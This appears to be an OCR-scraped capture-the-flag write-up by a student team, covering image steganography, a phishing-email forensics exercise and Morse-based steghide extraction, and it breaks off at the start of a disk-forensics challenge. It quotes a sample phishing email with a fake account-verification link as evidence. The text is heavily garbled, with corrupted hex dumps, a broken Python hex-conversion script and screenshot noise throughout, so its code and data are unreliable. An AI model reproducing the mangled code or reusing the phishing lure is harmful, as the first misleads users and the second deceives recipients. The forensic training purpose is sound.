P pert_recovered_4cfc11 Vit

b81b6842a2b0ed70d

i Downloads »

shen@LAPTOP-Q31RTGOR: /m X +

$ xxd -p vi.png > vi.txt


http://hexed.it

4. Then we can see all the binary in the image

E{ vi.txt X +

Il
<
[+ ]
~
[4p]

File Edit View H1 v~ e B~ A

leeeleeleleleceeeleallleeleeelllooeelloleeeeloloeeelloleooe

1e1 1leleleeleeleleeleceeleeelor
aleleel 121011

gelellleel il 1 1212000
leeelleeelellelleleeeell 1 100

leeleleeeleeeloeeeloleleleeelllleeelellleeelleeleellllllel
@leellelleeleellelellleleleeleelleelaealoeeleelolleeelesalle
1eeleelelellllelelealleleleleeelolelaesroellelloeeelllleealol
geeelelleleellllelleeleseleleleeelllaleeellleleeeleelllellll
glleeleeleeeeleellellellelllllllceeealleeelleellellelealalee
glel111ieeeeelleealecelellellleeellleaceeeeeellllllleeelesnle
111110120000111100000001811101110001110010110000110100118111 CTF - SHERLOCK HOMELESE - SHEWY AYL ZAHRMA
101100110010000010111001101000000000100000110111000101008101
9110111101010000110010001011001801011160001011110181010011010
101011601010110001001100800101000000101011101001111010011111
000101110000011100010110800110181110101011101010111001018000
1110008111100810100116000810111610111100000110111018111018011
0010010800110001000000001€001111011111180111111811111168118601
gel1el1eleleleellelelselleellllelslllilelsllieelllelleleeelalll
111111110101111111111111€e0118111111111111111181111116111105.1 make a code to change the binary into hex

Fith open{"hex.txt", "r") as file:
binary data = file.read().replace("\n", ™")

binary data = binary data[:len(binary_data) - (len(binary data) % 8)]
hex_data = "'.join(format(int(binary_data[i:i+8], 2), 'e2X' i in ra , len(binary_data), 8))

with open{"output hex.txt™, "w") as output file:
output_file.write(hex_data)

print("Hex data saved to output hex.txt")

shen@LAPTOP-Q31RTGOR: /m X

$ xxd -p vi.png > vi.txt
$ python3 vi.py

$ |

Hex data saved to output_hex.txt




6. After we got the hex file we copy all this to change hex into photo

Vit output_hex.txt X+ = o X
File Edit View H1 ~ v B I S & A o a @ )
5OFOAEAB70013B3E03469DEF720B352121D2C4! 1E! 2A34C72105D: 1691A78FBA2F33F75C 17557A8757 FBDDEDSAE31536D! 83BOC7656562DAD52D59A

49EQADS9E@BAFF16ESEE9194E4095FOADS52018189429FB9782F38B9796DCCOCFE3BSAE18DIFA966CD54EDC700DD3CDC642FO2E11DFFF7BDES1ED116356CF73FFDO871714F75F1D5BBAR7F174ED58553EE099B80CICB5DAD1160B7BBCAAC
3D24E96708605815D21368AE14B5BE398B707B90DC17D56DCD828417 E3D9FAEEC3FDF3CDC7E32610E1FA3DI35A03BAEEIC69D701756FDSFB7EB34BBASEE209D7207785FA39EES6DE11616F FCFB2BDA50CADBDOA27A840ACI012066EFC587
©4BDIFED8648F5E01879D8C7522DEAAIS7 5Q4F8: 66C. LE] 21983CC8C6468E733BDBO74BFAAEOBI713F5D782BFABBD7867211BEBE397B375B1A09AB10718286B7755F 11EC54AD36FCEDSE17F886
AAAAE2DC2D3E7E773189DAC2AE1QECDOB58A2D54CB7F 74; 11F2F9160EB545EC2A2DBC2040D577C84C826: 45CFCDDEGE: )3C7D7F1D36859D56E DI D7CEQ1641EEF9362EA336FD
7DC77FMODZZEFDBQlCZE8A9375A52650A730903F6868553590529E08A820C7F367318CDEF2B2EMB28E67F723BA8F913B221111D01D4C420ABE4M612B42823EESASQSSZBDBZQGMFQSEFFSBFE76C7EBC948FFF2207A3BD923E5E1C62D5
7BE@2CCCACS:! 7FSMaA38437590869123DMEBDM36|3M07FFaaEc3E3EFZADMaDaFBSc09201984365F7EAF6DFc9c48cB766715247ac90E71796F58cA7DE65167ac6F08927A68FB|3554
DF2B63650A563EMOGGBQF1AE81BDE473560FB77DB98368F34A122DEC26E9D67EF10557703FEBE5 C8CECH 1855E53EESF87E70B: 8227CF3A85924B2D7040B1 1796CDOEB87C2F8ECFC!
EE5A62E71620B17F702623DCA34C95CF53586A17CC9959DB9175C7FCFEGDFD3 181152DF! F583E8F24DC 1DB6CABO! © tJ543DD58F1B23190FA7AFB9C985B1A79E71A85309FQSCQAZAZSDCDBQDFOSBEAB
FFBEAF70F7600E8CD6B: D: F291E D7755D992B23D57A4A0C82022880F7C14D4419 1BAB2A4963C! 48DFOCDC8DD8F18F126D1C! E14478AF22663A8EC34C0158C02002F0954291
FE16F7678FA814BA3B29C27B77F7BA59B5D49D05168164437EDOBA3@47BAD7D8BDD298DF766ADS9FDDID6ACA: D7BB37D3E7QEEA949DDD312257DBF1 nBRr‘)‘)n‘)an?SAQSZDGGMQDQCF4C39F73664656336598
191564548D31C61859494968F665A6D09FCEC77BF1DA7BDF75B8B81F1D82C38E3F7B476231BF931CEADA70OF 7211 139606188FFD: 70F 6A3EECDF6AE733EFFO2F8D2BE72DA99E6CEGA369AEICER6630BE770E202DFDA
36D23EC33B59DC21F7DEEEF7DF65CFABF37FC243 EB7E: DF8772673D77EF717F1285029DCF93B8840385B8AFFFAD63A8FBF2124FBAD7D1CB37F6A885 B212E71D809DID: 1391606AC3774079
773D6AF776CDECB695EAGBCAF2E312A87531DF 3FAE9FCIC65661DDFI1EGDOSE 7 34B9E! FCl bAd2RoblhrisEEAHEs2 FEBAEbeS it BREBFOF 7A2C32F6260F8A16F92415E51C9
45F9B7A87F21ADAABF4! 4D7BAG9FCF¢ 2C02711F13DAFBF554! 1B033DCFD7CDF15E8C648BDA331 17DC3D1. F1A E1 16452AA6851 1DC578
3763DCBCDFD76E96C. F9 uyAQ23573267AF78MC85558C47EasDAcaaaQBlcQSBBElSAEBAQBDDGAQE87F7E5c7734E97DF671AaBE7F452F5F6641 7892 4771EDFFFA563B91D57
B20942C 11361A6: 1C194B261ABDOGADF2703F31EE213111709114368E4C3C2B543099EED7E86591BEBBFF13C1F903FOPADDBEA9OSASORE74FBA758F783CAOF92F7065428EFEAB12021A8
AD3780B79259C54145AC5D2F31B31426A8EFFO8743F9E61F11B148DES5C6E7CAE77D94A1A2EEA7917B43FCAFDBAASFSACTO9F@402AABSSEF1EC7C122CORE50914794D75A2E6277ES58BFAFDB3C189BA416E98F12E1AF7C3E93E1413035E4F
459C A94D432A7BB972124C1D133A87091763CC76EDD78FDFDCDC89B3385DF 8734EDO610EF5D98991E2E84F36C6FDCBD7DB2577CDEOF714FC1B1A23EAA43EASCAFB3D8B718F 7BDF2516D152AE9BD3BAS87
7B7721F76689BC: 13F8FDA42E9EDO: EDOFBCADEF 9D aMF2A3FBFQlADBBElEBAS7567acBB73c17c47BBaABQ%DZ208EEDBAC774A66A2C2|JF|35256FassaEESBMFBC9F782256211027201FDDDEA36
DCFBD1A91A0626: 775878288! 87BC39B6352E14A7E8C36BEBF3FFD66E7BE185A2567B77D498F5AD60ACCAADBDEEA7DFOF7827421D04ADF99252721E0498B450! 2AF8AFS 1280CB4
93DDCFCFAC8F9E1A33 11AC7@5! 151BE! nE1DAlDc9BDF1059266456CBQDBCDCA784F9348E5F2085F1E24A2M382FBSBlaccaFcBQzaSBMaSF4c55E94357BAB77368FSSBADBDSASF25EA2ED&CDC93CC20035975
3F73BA170C4B5BDAB67105958804B4F DC56277! 609331157858AE847CF9ID7691B15B8DDSCL. 1c! 9D41314C62DE7C8A72F74CE81A30731E6330EB7D2AEF
EDBAO}EOQEOBSQBC4571EFFDQSF79AEFZSADDZSZEF79C78C61E3E7FQQ}QQSOFEE]CQZ}ABE61D96EBlDSESABBB]DSSSZSSEQCEA760C53562CAF16F4636FFBMFB}SBFDF7BCAMMM}DS72CC49560D17B62D98DOFDE3BEEA}ZADSOFFCFDFS
3F3594F7B5DDOFOCBB12A0CDFBA17DAA4: F92A7767ABI43F7C 12615D67D491F3179D7622D65D9CBA73E687BFFE993EFD39619F6427FEAD7BCSBAEACFCOL/ OBBE1BY
FBDDF7538936C9BB2BCCFBQBAIDAF8E7E14C9FFBQDIAEF6FBESQSAFSFECF4724F21EB5DD6F393775936F398FDDBGOOEIF3AE5777BAAF3B88E1BE981816E245EDACA63D3CC4C347C146BB75D60F608B1F77D303C33B48BD5B6F7D85BD41C9
F5C0: 66EDFD87EED7B98D6E7CF3E68ABA52CAAS23606EBCF6D1142327DAF18EAB7BO4BB18FADC2C25460E4123157D15FDDA920255CCC5CCI4082DF798ED@5BI765D71D1F277F156134B41BD685F906BD33DC
122B7EQEB1B6! 1EALE) F33BF73990FDC8ABBAB2DA3L FBA( 10E5F69BB1EE9533160F 3COCC22B5CDA488E866CBFA8BE23E785148DDC1AFEE7632
75B252DA11BCC3590F5898ElSDFBBlEDESMQSFFQAEOF631F051067C2EQlDD7F21260678F61D1M83EQZCEBBQDF371785715D12613DE1FDAOSEIADC7EA7B62BA17ED869EDEF4575C3CEA567C7854C16ElBB515E4015573435F64F3CA6867
CFCO9DDFO72136AA6D68F1FDI40A23BEF42262812F70BCFBD6F7945B2415175B55A5A61E9086C3626C9E2AAI7C) 11F322ED6D51FD70F@D: 3B9C7573DASEF85FDF182807262961B81BF3709DDBFFAFD66014E18227B9EQF3C
A18A06F67815D7FB3B8B881BC18FD8SDF31821ABDOAAC2BB652256C9688FAA26CEEAC215604B7AB721E06150BB210DB811CEAE952A98BEEC2CI9ASEE7EQB1151B4OED6C796AC22E68270F 34EAL72BF17DOACS3383363852927E55AEBF83A
4808C3FFAC78D7695DBDEF12662F718C 85D536 0B1ADE7DAE7CFAAA7698CCEEC 1CCOCTE2DAB) 6615E1L 7DAE13ECD7F7967D47DD3BBS
EED8433B62EFBASAEESE353EAAD1F620382091DDC63C7D170C9959DIED7F685FF788425561578DE63DABESB677A7FASCBASBCFBI614EFBC2716650EDCD52FBOSBECB3FDA753EBSEC36A622A22A44B96279CB02817BDFA94951DE6ABLF726
15117EFFD2F7DBA3C453D1765521029F99F7A97A7730@38E1A2287199E88DFD6CF55A8CFFO74A81A82BBD70BDDS5CF8DCOA741585C021E3B72A9F7B2A1AA7ADFCA07 2A66F 6081E07EE608C1199BED618436FAD3FBCAD7D6B11415CBBA911
D413B97773993635A357175356651649311114C289D9ACB3BCC8705FlaA5B06145ADFB82B740F7342F61EADBEBSFD136CAF7M7BC7031C4909 10523779CA75701 187B5D2F261EC654741C
87873337B20BF8EA39A 3DC6B14334B374C71314 DE9BAS5BS537602CC12C66EASE211E33A97B0837D7C336996579F4D36616C380287625D3AAD7631C4C8234AD73AEAC22020FA2AAAD24
7953EﬁF463BDA1806798FDF619D801037EIZZ77BBAE8FAQF071D9F7FEEADBC]BF788FFBDSASADEEFABM}SABCBBQ72856FﬁdSQ}lABZBBOlASSABF1519A3371095595106FCFAFAZZDQFQBQQCM5M507A67FEDC322D7C50FFEQOOEBSODF]D
BAAEC631F71. GE| FES! 245531211 1E54FDFBDCFF1FF3CB7403466C29C19CF6177739ACOD5F1F97EF89F094016198BA85481C2B769323BBBBC33FADARS61EDS BOOACDD38L 154
F183455M686AC14FEOA558D17A09BA07487D3ACF7BO0EC F97DB3EFC7FD51CCDFA49D7FBOAA9OF7A5565E1F 2CA481C5BCCDC255C3697BBADO5885858 93898C35F72DF32E58F443B767F
5CC38E6CDBD7BD2FB5989884C5C15FE8237857315DFEAL1E79BF747CEAFFOF57F6C8733FFB7C220000000049454E44AE426082

Ln1, Col 2367775  2.367.774 of 2.367.774 characters  Plain text 100% Windows (CRLF) UTF-8

o Q seon 22B%0Es@efdnmx g

P}
0
»

& Cerah al

7. 1 use cyberchef and paste my hex text, and then i use recipe from hex and
render image, and cook it, voila, we got an image, then i save it

~ ™ CTFPresident University B X | CTF President University 2= X | [E] SHERLOCK HOMELESS -G X | [ SHERLOCK HOMELESS -G X | [ vipng X From Hex, Render Image - X =+ = a X
< C @ gchq.github.io/CyberChef/#recipe=From_Hex(‘Auto')Render_Image('Raw/)&oeol=FF % @ W ® 0B @O & L@
B B r~o08L8= 8 » @ < EFOoO=wMBEOG+6060 008 9 ® vV o 9 @N D e o » | [ AlBookmarks
Download CyberChef & Last build: 16 hours ago Options & About / Support @)
Operations Recipe ~ Al E nput s tO3 W

hex From Hex ~ < 2 image.png X 3:image.png X >

o 8E211E33A97B0837D7C336996579F4D36616C380287625D3AAD7631CAC8234AD7 3AEAC2 = g
To Hex Delimiter File details
2020FA2AAAG24795 3E6F463BDA1806798FDF619D801037B12277BBAESFAOFB71DOF 7FEE

Auto

o ADBC1BF788FFBD8ASADEEFABAA3SABCBBI72856 F6459314B2BB014554BF 151943371095
rom Hex 595106F CFAFA22D9FIBIICAASAASO7AG7FEDC322D7CSOF FBOOOEBSODF1DBAAEC631F 713

Render Image ~ 9036EF5287EFD2EAAFESS8EDI3A2455312111BDO180011E54FDFBDCFF1FF3CB7403466C
Hexcto PEM 29C19CF6177739ACIDSF1FI7EF8IF094016198BA85481C2B769323BBBBC33FADAOS61ED

nput format 57239FDODIB23BOOACDD38D 154F1834554 14FE D17AG9BA07487D
el Raw 3ACF7BOOEC50833D6F 9OEBBBBDS88839825F97DB3EFC7FD51CCDFAID7FBOAAIDF 7A5565
E1F2CA481C5BCCDC255C3697BBADOS88585850AB2A60394EAD3793898C35F 72DF 32E58F Name:  image.png
To Hexdump 0443B767F5CC38E6CDBD7BD2FB5989884C5C15F E8237857315DF EAL1E79BF 747CEAFFOF Size: 406,212 bytes
57F6C8733FFB7C220000000049454E44AE426082] Type:  image/png
From Hexdump Y Save output to fie (RS
To Hex Content Output ya an |_|:| m o2
(e 1 @izt < Tab 2 3: IPNGOOODIHDRODO°00040000000[COO00ID... >
Hex Density chart 5
Parse ASN.1 hex string CTF - SHERLOCK HOMELESE - SHENY /A ERERHES
Hex to Object Identifier
Object Identifier to Hex
HTML To Text
JPath expression STEP Auto Bake
=1 @© 286ms  Tr Re Py
8 3¢ - =
e Q search 2y M W @ “ PePGnmg N =Y




8. | use Aperi'Solve to analyze the image

v ¥ CTF President Univer X ¥ CTF President Univer X a SHERLOCK HOMELE® X a SHERLOCK HOMELE: X &/ vipng X From Hex, Render I X A& AperiSolve - Stega X + - a X
< C R % aperisolve.com/4ef12375188e1dbdf9d569296752538 Q S @ O B @ O & = & @

2 DOEAOELEAIGEAIIDEOCNDNEO+0O0BO0OEBHTG Y 65 0 ONB =SB » | [k

& upload
count:

A Common
password(s): LA

Decomposer

Superimposed

= B Qe 2 B WBEEsPeddnmx AroO 8

9. Then in the decomposer feature there is the flag in the hair
i R o

J(g{Basy—Obfusc4jt On-
4nd-st3g-does-ij

I need the goddamn flag
Give it o me now!



Challenge 7 : latte Part 1-2

Solved On: April 13th, 8:43:33 AM

Solved by: Sheny Ayu Zahra

Flag Retrieved: pu-flag{hOw-d0-yOu-find-m3}

Challenges overview:
Given image name coffee-latte.png, and we have to analyze the image using
forensics tools to see hidden flag in the image

Key Findings:
Since the clue tell us about tools in digital forensics, i use Aperi'Solve to
analyze the image and found something in the image

Forensic Analysis:

Using https://www.aperisolve.com/ find noisy yellow image inside the
coffee-latte.ong in pcrt feature, and then analyze the noisy yellow image
again using Aperi'Solve for the second time

Tools Used:
https.//mwww.aperisolve.com/ : analyze image, 1st image using Pcrt feature, 2nd
image using decomposer feature

Solving Step-by-step:

latte - Part 1

there is something inside my coffee....

What tools are appropriate to analyze this the first time? What did you find
after looking inside the coffee?

| answer with Aperi'Solve using tool pcrt and the find the new image, after
that i analyze again the new image noisy yellow, and find the flag in
decomposer feature


https://www.aperisolve.com/
https://www.aperisolve.com/

latte - Part 2
1. Download the coffee-latte.png and then use Aperi'Solve website to analyze
the image

Aperi‘'Solve
3.2.1

Mon, 13 Apr 2026 03:53:44 GMT

Mon, 13 Apr 2026 09:13:07 GMT

809.28 KB

Decomposer

Superimposed

2. Scrolling down and i found something interesting in pcrt a new image that
is noisy yellow

Pngcheck

Pcrt

Mrong PHG head
Fixed header T

THOR chunk check complete at offset @2845

Open image in new tab
Save image as...

Copy image

Copy image address

Create QR Code for this image

Search this image with Google Lens

Activate mobile view on this tab

AdBlock — block ads across the web

Inspect




3. | downloaded the noisy yellow image and save it in my laptop, then i use
Aperi'Solve again to analyze the image since its so interesting to find out
about what inside it, then i see the flag in the feature decomposer

Decomposer

Superimposed



Challenge 8 : MailMailSnailMail Part 1-4

Solved On: April 13th, 9:53:20 AM

Solved by: Andra Rizki Firmansyah

Flag Retrieved:
pu-flag{Th15-1s-4n-4tt3mpt3d-Phlishing-YOu-H4v3-LE4rned}

Challenges overview:

The MailMailSnailMail challenge is a digital forensics challenge focused on
investigating phishing emails. We are given a raw email file (eml) and an
SMTP log file (smtp.log) to analyze. The goal of this challenge is to identify the
spoofed domain, the email delivery path, the victim's activity after receiving
the email, and to decode hidden tokens and attachments.

Key Findings:
1. The email used a fake domain internalcOrp.net to mimic the real
internalcorp.net domain.
The attacker used typosquatting techniques.
The Reply-To was redirected to the attacker's domain.
The email originated from the external IP address 185.220.101.47.
There was a fake hop in the Received header.
The victim performed a DNS lookup to the phishing domain.
The .pdf attachment turned out to be just an obfuscated Baseb4 string.

NN NN

Forensic Analysis:
The forensic analysis performed in this challenge includes:
1. Email Header Analysis
o Inspecting the From, Reply-To, Received, and
Authentication-Results fields.
2. SMTP Log Analysis
o ldentifying the true sender IP address.
o Correlating the delivery timeline.
o Determining what happened after the victim received the email.
3. DNS Log Analysis
o Detecting DNS queries made to the phishing domain.
4. Base64 Decoding
o Decoding the token inside the phishing URL.
o Decoding the hidden clue inside the Message-ID header.
o Decoding the fake attachment content.



5. Phishing Investigation
o Understanding how the attacker impersonated the company.
o lIdentifying targeted phishing indicators.

Tools Used:
e \/scode

e Cyberchef

e Browser

e Manual Header Analysis
e | og Analysis Tools

Solving Step-by-step:

Part 1 Email Header Analysis

The first step was opening the challenge.eml file using a text editor to
inspect the raw email headers.

Relevant evidence found:

MIME-Version: 1.9

Date: Mon, ©7 Apr 2025 14:14:25 10000

Message-1ID: <CLUE3-Y2hly2tfdGhlX2F@dGFjaGllbnQ=@securepayments-verify.com>
From: "IT Security - InternalCorp” <security-noreply@internalcerp.net>

Reply-To: harvestfisecurepayments-verifty.com
To: j.harris@internalcorp.net
Subject: [ACTION REQUIRED] Verify Your Account - Unusual Login Detected

A-l1'd -~ . 5

Analysis:

e The claimed sender domain was:
internalcOrp.net

e The legitimate company domain should be:
internalcorp.net

e The attacker replaced the letter o with the number 0, which is a

common typosquatting technique.

e Any reply sent by the victim would go to:
harvest@securepayments-verify.com
This confirms the sender attempted to impersonate the company.
Part 2 SMTP Log Investigation
The second step was opening smtp.log to identify the real sender IP and user
activity.
Relevant evidence:



Apr mx postfix/smtpd[ : connect from

Apr mx postfix/smtpd[ : disconnect from

‘o

Apr mx postfix/smtpd[ :connect from c 5 c

Apr mx postfix/smtpd[ : NOQUEUE: reject: RCPT from o . o 1 SPF fail for
domain 3 from=<security-noreply@ > to=<

Apr mx postfix/cleanup[ 8 1 message-id=<CLUE3-...@

Apr mx postfix/gmgr[ : : from=<security-noreply@ >, size= , nrcpt=1 (queue active)
Apr mx postfix/local[ 3 1 to=< @ >, relay=local, delay=0.6, status=delivered
(mailbox)|

+
# --- Outbound log ---

Analysis:

This proves the phishing email was delivered from:

185.220.101.47

Additional DNS evidence:

Apr 7 091843 dnsmasq[882]: query[A] securepayments-verify.com from
10.0.0.88

Apr 7 091843 dnsmasq[882]: reply securepayments-verify.com s
185.220.101.47

Conclusion:

The victim machine queried the phishing domain at 09:18:43, indicating the
link was likely accessed.

Part 3 - Decoding the URL Token

Inside the HTML body of the email, a phishing link was found:
http://185.220.101.47/verify?token=eyJ1c2VyljoglmpoYXJyaXMiLCAibmV4dCI6IC
JkZWNvVZGVFYXROYWNobWVudCI9

The token was extracted and decoded using Base64.

<html>
<body style=3D"font-family: Arial, sans-serif; color: g%
<div style=3D"max-width:6@0px; margin:auto; border:1ip: id #ddd; padding:=
24px; ">
<h2 style=3D"color:#c@392b;">Unusual Sign-In Activity Detected</h2>
<p>Dear Jamie Harris,</p>
<p>We detected a sign-in from an unrecognized device. Verify immediately:=

ext-al (ctrl + click)

p://185.220.101.47/verify*token=3DeyJ1c2VyIjogImpoYXJyaXMiLCAibmvadCI6ICIKZWNVZGVTYXREYWNObWVUdCI9™
background:#ce392b;color:white;padding: 12px 24px;text-decor=
ation:none;
Verify My Account
</a>

Decoded result:

Recipe B [ ] i Input

eyl1c2VyIjogImpoYXIyaXMiLCAIbmYAdCI6ICTkIWNYZGVFYXROYWNobWUdCIg
From Base64

Alphabet

A-Za-z0-9+/=

Remove non-alphabet chars [ strict modeCTF B SHERLC}CK HCJII'\"IIELESS . I‘E"-N[}F':.":".

e

Output

{"user”: "jharris”, "next": "decode_attachment"}



Analysis:
This proves the attacker already knew the victim's username:
jharris
This indicates a targeted phishing campaign.
Part 4 Hidden Clue in Message-ID
The Message-ID header also contained an encoded value:
Message-ID:
<CLUE3-Y2hlY2tfdGhIX2FOdGFjaGllbnQ=@securepayments-verify.com>
MIME-Version: 1.0
Date: Mon, @7 Apr 2025 14:14:25 10000
Message-1ID: <CLUE3-Y2hly2tfdGhlX2F@dGFjaGllbnQ=@securepayments-verify.com>
" «security-noreply@internalcerp.net>

From: "IT Security - InternalCorp
Reply-To: harvestf@securepayments-verify.com
To: j.harris@internalcorp.net

Encoded string extracted:
Y2h!lY2tfdGhIX2FOdGFjaGllbnQ=
After Base64 decoding:

Last build: 3 years ago - Version 10 is here! Read about the new feature...

Recipe N ] Input

¥2hlY2tfdGh1X2FadGFjaGllbnl=
From Base64

Alphabet

A-Za-z0-9+/=

Remove non-alphabet chars D Strict mode
me 28 =1 Q@

Qutput
CTF - SHERLOCK HOMELESS - ANDRA

|chec k_the_attachment

check_the_attachment
Analysis:
This clue instructed the investigator to inspect the attachment.


http://securepayments-verify.com

Attachment Analysis

The email contained an attachment named:

Security_Notice.pdf

However, the attachment content inside the raw .eml file was Base64 text, not
a real PDF.

Evidence:

= Part Boundary 7743992
Content-Type: application/pdf; name="Security Notice.pdf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Security Notice.pdf”

cHUtZmxhZ3tUaDE1LTFzZLTRuULTRAdDNtcHQzZC1QaDFzaDFuZy1ZMHUTSDR2My 1MRTRY bmVkfQ==

= Part Boundary 7743992--

And decode the text use base64 in cyber chef:

LasT DUlQ: 3 years ago - Version 11U Is nere! Kead apout tne New reature... Upuions u

Recipe BB input + O

cHUTZmxhZ3tUaDELILTFZLTRULTRBdDNtcHQzZZC1QaDFzaDFuZy1ZMHUtSDR2My IMRTRybmVk Q==
From Base64

Alphabet

A-Za-z0-9+/=
Remove non-alphabet chars I:I Strict mode

mc 76 = 1 T

Output a

pu-flag{Thi5-1s-4dn-4tt3mpt3d-Phlshlng-Y8u-H4v3-LE4rnad}

CTF - SHERLOCK HOMELESS - ANDRA

pu-flag{Th15-1s-4n-4tt3mpt3d-Phlshing-YOu-H4v3-LE4rned}



Challenge 9 : scout-code2 Partl-3

Solved On: April 13th, 3:37:19 PM

Solved by: Sheny Ayu Zahra

Flag Retrieved: pu-flag{H4v3nt-YOuU-L34rn-MO0Ors3-cOd3-befOr3?}

Challenges overview:

The challenge involves decoding a hidden message written in Morse code
and then using it to extract an embedded flag from an image (Flag.jpg)
through steganography. The hints provided in the challenge help guide the
process by identifying patterns in the Morse code and linking it to song lyrics.

Key Findings:

1.

Image with text to fill up and there is white box text, so i assume thats
the key to unlock the image

An audio with morse code in it, so we have to translate the morse code
into some sentence

The hints is lead us to youtube video that have match tittle with the
box, but i was wrong, it should be the song lyrics of the video not the
tittle of the video

Forensic Analysis:

1.

| have use some morse translator website, but they translate it wrong,
SO i use sonic visualiser that ive tried to use it to solve picoCTF case, and
i see by the thick and thin line as the morse code .. - .. .. -, == == - - -

video, but its the lyrics, so i match the morse with the make sense lyrics
and then the last morse i cant solve it, because its not matching with
alphabet, so i try to use number, and its 25, as the video tittle year is
2025, so i assume its 25 and its match with the morse line too

After i found the key and the image cant open, so maybe using
steghide tools is the best one, since there is key in the image lyrics
“antsinheels” so i use steghide and they downloaded a file flag. txt

Tools Used:
e Sonic Visualiser : to see the wave in the audio
e Youtube :to get the lyrics from hints video in caption
e Notepad : to write the morse and match the lyrics



e Canva:to match the key image and the morse lyrics
e WSL Command : to see the flag in the image using passphrase key that
found in more code

Solving Step-by-step:

scout-code2 - Part 1

My friend is a very good scout, she likes giving code in morse and riddles! She
gave me an image with the flag inside it. She said the voice recording might
help, it will definitely help if you did scout before hehe. She said the light of
the image will lead you to the flag. Are you able to figure it out?

Hint: https://shorturl.at/z7Xye

You might want to turn your volume down before playing the audio file
ltsinmybloodanditsinmyveinsimstillhere25

(ive tried using uppercase, and lowercase but its not working because i dont
use the number, when i use the number its working)

scout-code2 - Part 2

What is the extracted whole text? No punctuation marks and space needed
Great, have you able to decipher the key? You might wanna look at the light
there;)

Enter key below

antsinheels

(since it say the light, so its the white block from the image lyrics we found)

scout-code2 - Part 3
1. Download the zip file, and found interesting morse audio and also image
withe the key icon and some box that filled with white colour

J > Downloads > chall(2)

N Sort ~ O View ~

- Yesterday

-

Flagjpg morse_code.wav

CTF - SHERLOCK HOMELESS - SHENY AYL ZAHRA


https://shorturl.at/z7Xye

2. Use sonic visualiser to see the morse code, by classify thick and thin line

[ sonic Visualiser. file:///C:/Users/shen/Downloads/chall (2)/morse_codewav

File Edit View Pane Layer Transform Playback Help

DEEM ««biwmr» @ M OS = D IR I

10

140 / 44100Hz

5 0

Global Scroll
Global Zoom @

Follow Playback  Page

CTF = B}

11.145 [ 491520

WmllllllllllllIIIIlIIlIlI-lI-III-lIlIIHIIIIII

ERLOCK HOMEL

EBE « SHENY AY L ZAHRA

FREERRRN

[l

| =]
EIERE R

m]

('

3. | use notepad and morse code image in google to see what the morse

wanna say

E cscoASA e Student e - Autopsy

File Edit  View

Its in my blood

A;diit; in %yivéiﬁs 7
aEm
here

éé .....
ItsInMyBloodAndItsInMyVeinsImStillHere

itsinmybloodanditsinmyveinsimstillhere
"still here"

Gripping with my cold hands
The shapes I used to take
Hollow like a straw man

But it’s easier to push away

‘Cause it could all end here

wWith a strange daylight caught in our eyes
And my shadow stretching out

Through all the things I left behind

It’s in my blood it’s in my veins
Oh it’s in my blood it’s in my.. veins

Got my heel crushing the snake
There is nothing you can take

CTF = SHERLOCK HOMELESS

(] flag-txt L] cd mntcUser: @ 80 64

H1 ~

SHENY AYL ZAHRA



4. | try to open the link on my friend laptop and it leads to the sam video,
because at first i thought we have to see the playlist description or something
since the playlist is mix that made for us from youtube, so its not, its about the
legends of lord video, | have try using the video tittle but i ask maam farah for
the clue, seems it doesnt feel right if i use the tittle, and she said using the
lyrics, so i use the lyrics to match the morse code

v ¥ CTF President University B X ¥ CTF President University x Q SHERLOCK HOMELESS - G X O (48893) Still Here | Sine <€) X E SHERLOCK HOMELESS - x . Young Sherlock (2026) S1¢ X + - a X
C @ % youtube.com/watch?v=ZHhqwBwmRkI&list=RDZHhqwBwmRkl&start radio=1 (K ¢ @ » (h B ® O ® 2 =@
B @O ro8 &= 8 » @ ool +] “ MEOG+O®EO0OELH® & VvV ey eOeNO @ D » | [ AlBookmarks
= ©Vouluhe" Telusuri Qa @ +oa (P @ :
Still Here | Sinematik Season 2024 - League of Legends m Dariserial  Dari League of Legends N
m Iw_ée:?xlw-\ljjtelw_egends ° & 2jt q;' d) Bagikan 4 Tanya Ij Simpan & pov: you're hot I

sweet femme

68 rb x ditonton - 1 bulan yang lalu
144.412.866 x ditonton Telah tayang perdana pada 10 Jan 2024 #StillHere
Masa lalu, masa kini, dan kemungkinan masa depan—kita mengingat semuanya.

american wedding - frank ocean
Season 2024 sudah dimulai. Bagaimana kamu akan berjuang untuk hari esok? jenyne *

) ) 1 jt x ditonton - 11 bulan yang lalu
Video dibuat melalui kemitraan bersama Unit Image dan Ben Hibon.

DENGARKAN SEKARANG: https://found.ee/StillHere @ D UNE - The Search for the

Water of Life - "Guarded by the...
e . CTF « SHERLOCK HOKMELESE - SHENY AYL ZAHEA MPMEDIA // PHOTOS FILMS
Still Here L 5 LL L LESS = 2 YL J !

24 x ditonton - 8 jam yang lalu

B,
Artist utama: Forts, Tiffany Aris, 2WEI e

Musik oleh: Kole Hicks, 2WEI

Lirik oleh: Mary Clare Clemons (Forts)

Ditulis oleh: Mary Clare Clemons (Forts), Kole Hicks

Diproduksi oleh: 2WEI, Ali Christenhusz, Hermann Schepetkov, Kole Hicks
Mixing oleh: Kole Hicks

Vokal dibawakan oleh: Mary Clare Clemons (Forts), Tiffany Aris

Produser Eksekutif dan Supervisi oleh: Riot Music Team

Shawn Mendes, Camila Cabello 3
- 1 Know What You Did Last ...
Shawn Mendes €

432 jt x ditonton « 10 tahun yang lalu

Mix - Justin Bieber - I'l Show
You
Justin Bieber, Shawn Mendes, dan lainnya

Selo Tunggal: Cameron Stone

Session Engineer: Milton Gutierrez
Konlraktor Musik: Noah Gladstone, Hollywood Scormg

5.l use the tlttle video to solve the key, but its weird somehovv

Mix Saya




6. Then i use the lyrics but its still weird, because the last white block is im,
and no space needed, so its not the right key

7. And | added space after veins word, and its perfect, its about ants in the
heels. OMG




8. After i find the key, i use steghide to extract something on the image, since

the image have key icon, after that they extracted a file flag.txt, and i open the
file and there is it, “the flaggg”

& shen@LAPTOP-Q3IRTGOR: /m X + v
$ steghide extract -sf Flag.jpg

Enter passphrase:
wrote extracted data to "flag.txt".

5 4 \uto e flag.tx e cdmn e 8064° e morse-analy . . $).copy0 $Max.cop
Edit  View HT v = B I S & B>~

File
by-flag{Hdent-Yeu-L34rn-Mers3-c0d3-bef0r3?}



Challenge 10 : EzTraverse Part 1-2
Solved On: April 13th, 1:00:07 PM

Solved by: Muhammad Gale Adi Saputra

Flag Retrieved: pu-flag{p3rsist3nc3_v14_crOnd}

Challenges overview:

Linux disk-image forensics challenge. A web server was compromised; the
sysadmin grabbed a full disk image before taking the box offline. Part 1
